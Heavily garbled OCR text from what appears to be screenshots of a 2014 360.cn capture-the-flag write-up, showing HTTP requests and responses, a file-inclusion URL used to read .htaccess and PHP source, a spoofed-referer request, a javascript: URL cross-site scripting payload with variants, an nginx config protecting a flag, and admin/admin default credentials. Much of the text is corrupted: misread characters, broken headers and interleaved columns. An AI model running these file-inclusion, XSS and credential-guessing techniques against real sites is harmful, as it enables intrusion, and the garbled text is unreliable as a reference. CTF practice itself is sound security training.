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| [SET .-"'chec}r_rank.-"'?t=140776358‘1043 HTTR/ 1.1
Host: ctf.360.cnd|
ﬁ: Proxy-Connection: keep-alive
. Aogept: application/djson, text/Jjavascript, */*%; o=0.01
‘60-question@360.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWE4) AppleWebKit/5
Chrome/30.0.1599.101 Safari/537.3E
H-Requested-With: XMLHttpReguest

ik - DNT: 1
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pt-Encoding: gzip,deflate
Aecept-Language: zh-CN
|Cookie: _ guid=125522324.2584701091212073000.1405844931847. 48

Q=us3DAvxvgns_ Z014%26n%3DWhig50e5haslery3Ds26qids3D406061409%
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Target: hitpalictf.

FPOST /question/register/send HTTE/L.1 |A
Host: ctf.3e60.cn

Proxy-Connection: keep-alive

Content-Length: 27

Aooept: */

¥-Pequested-With: XMLHtctpRequest

Origin: http://ctf.360.cn

User—-Agent: Mozilla/5.0 (Windows NT &.1; WOWE4)

AppleWebKit/537.36 (KHTHML, like Gecko) Maxthon/4.4.1.2000
Chrome/30.0.1599. 101 Safari/537.36

Content-Type: application/x-www-form-urlencodsd; charset=UTF-2

INT: 1

Referer:

http://ectf.360.cn/question/register/ ?key=jakCvnWpKHDATNRAkgOkpgTpze
SoWEWEVWPS4AGiom7c3 FITXtBhEMAVCI3vhESE4

Aecept-Encoding: gzip,deflate

Aecept-Language: zh-CI

Cookie: _ guid=12585I2324.25847010591212073000. 140584493 1547.488;
Q=us3DAvxvgnS Z014%26n%3DVhEgS0eShas26rs3D52 6% 3040606140952 61m%3
D2Z0255dgS8le%2es%3Doueslesres3Dpevw_clondsZets3D1%261e%3DBGE] Z0n5AG
pPAWGDIpERRLI Sg;

T=s5%30407aZ Ld5fh452 67bb0734532alc47h72%2E6E%3D14058451159%26a%3D1%2 6v
53D1.0%261m%3D;

_ utma=148500148. 1366981512, 1405845151, 140558451591.1405845191.1;

_ utmz=148500148.1405845191. 1.l . utmesr=security.3&0.cn|utmecen= (refe
rral) |utmemd=referral|utmect=/Index/atfiches/id/326.html;
PHPSESSID=skaShdh5qg5luupnhopodsr3isg?;
sessionid=mOqg07inesézoscikdgqrkySezrusSkjvs
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i8id/data/mysql_error_trace.inc, 7£HEHKD)GE G S kit
hik/miaomiaomiaomiaoaichiyu/login.htm, admin/admin %,
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HTTF/1l.1 200 OK

Serwver: nginx

Date: Mon, 11 Aug 2014 13:30:2& GMT
Content-Type: text/html

Connection: keep-alive
¥-Powered-By-3E0WZE: wangzhan.3&0.cn
Vary: Accept-Encoding

¥-Powered-By: PHP/5.4.28

Expires: Thu, 19 MNow 1931 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate,

pre-check=0
Pragma: no-cache
Content-Length: 18

{"code" :"8673h57c"}
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€« - C #f |[)101.226.10.39:8080/bob/include?page=index.php
i A @ hitpy//101.226.10.37 [ discogscounter.ge... &7 Cent0S 6.5 Fzzi&... [&] Cel
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€ - C f |[)101.226.10.39:8080/bobjrewrite.php
3 %E @ http://101.226.10.37 [ discogscounter.ge... §7 CentOS 6.5 T2z,

File not found.
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C f [ view-source:101.226.10.39:8080/bob/include?page-{hiaccess

1B @ hitp://101.226.10.37 [ discogscounter.ge... I1 CentOS 6.5 F3%... [&] Centos 6.

FewriteEngine On

RewriteCond % {HTTP_REFERER} "§ [NC]

RewriteCond % {HTTP_REFERER} ! http://360.cn [NC,OR]
RewriteRule “bob rewrite.php
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GET /beb/include?page=bob. php HITR/1. 1 i HITP/1.1 200 0K
gste 101 2008 10 _30-2080 o Server: nginx/1.0.15
Feferer:http://360. cn Date: Sum, 13 Nay 2011 09:33:15 GNT
TOLy LOLMECT Lol Keep—ard Content=Type: text/html
Accept: Cormection: keep—alive
text/html, application/xhtml+eml, 3] cation/zml ; g=0. 9, image/web Vary: Accept-Encoding
P, e+ q=0.8 I-Fowered=By: PHP/S. 1. 26
Uzer—Agent: Mozilla/S.0 (Windows NT 6.1: Expires: Thu, 19 Nov 1981 08:52:00 GNI
AppleaWebK1t/537. 36 (KHIML, like Gecko) Chrome/31. 317, 116 Cache=Control: no-store, no-cache, must-revalidates,
Safari/537. 36 post-check=0, pre-check=0
Accept-Encoding: gzip, deflate, sdch Pragma: no-cache
Accept=Language: zh-CH, zh:q=0. 8 Centent=Length: 19
Cookie: PHPSESSID=f3TkSSvhwihplslenlpalnndvd:
sessionid=12glyapyjsikncalsmgobx1153b30szc < rphp
echo "0cT£203de69cBEbb321 1de661ETadeeh” |
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< a href="javascript:window.location.href="http://ctf.360.cn:8080/location/success';" href="{E&url">xss
Hejavascript BBbEE AL AT LA -

1.javascript:window.location.href=

2.javascript:window.history.back(-1);

3.javascript:window.navigate("xx.jsp");| IE

4.javascript:self.location=

5.javascript:top.location=
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server |
listen 80;

root /home/ :

location = /secret/tlag |
root /home:
internal

i

location ™~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index /index.php:

include fastcgi_parans;

fastcgi_split_path_info “(.+\.php) (/.4 §:

fastcgi_param PATH INFO $fastcgi_path_info;
fastcgi_paran PATH TRANSLATED $document_root$fastcgi_path_info;

fastcgi_param SCRIPT_FILERAME $document_root$fastcgi_script_name:
1
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key:
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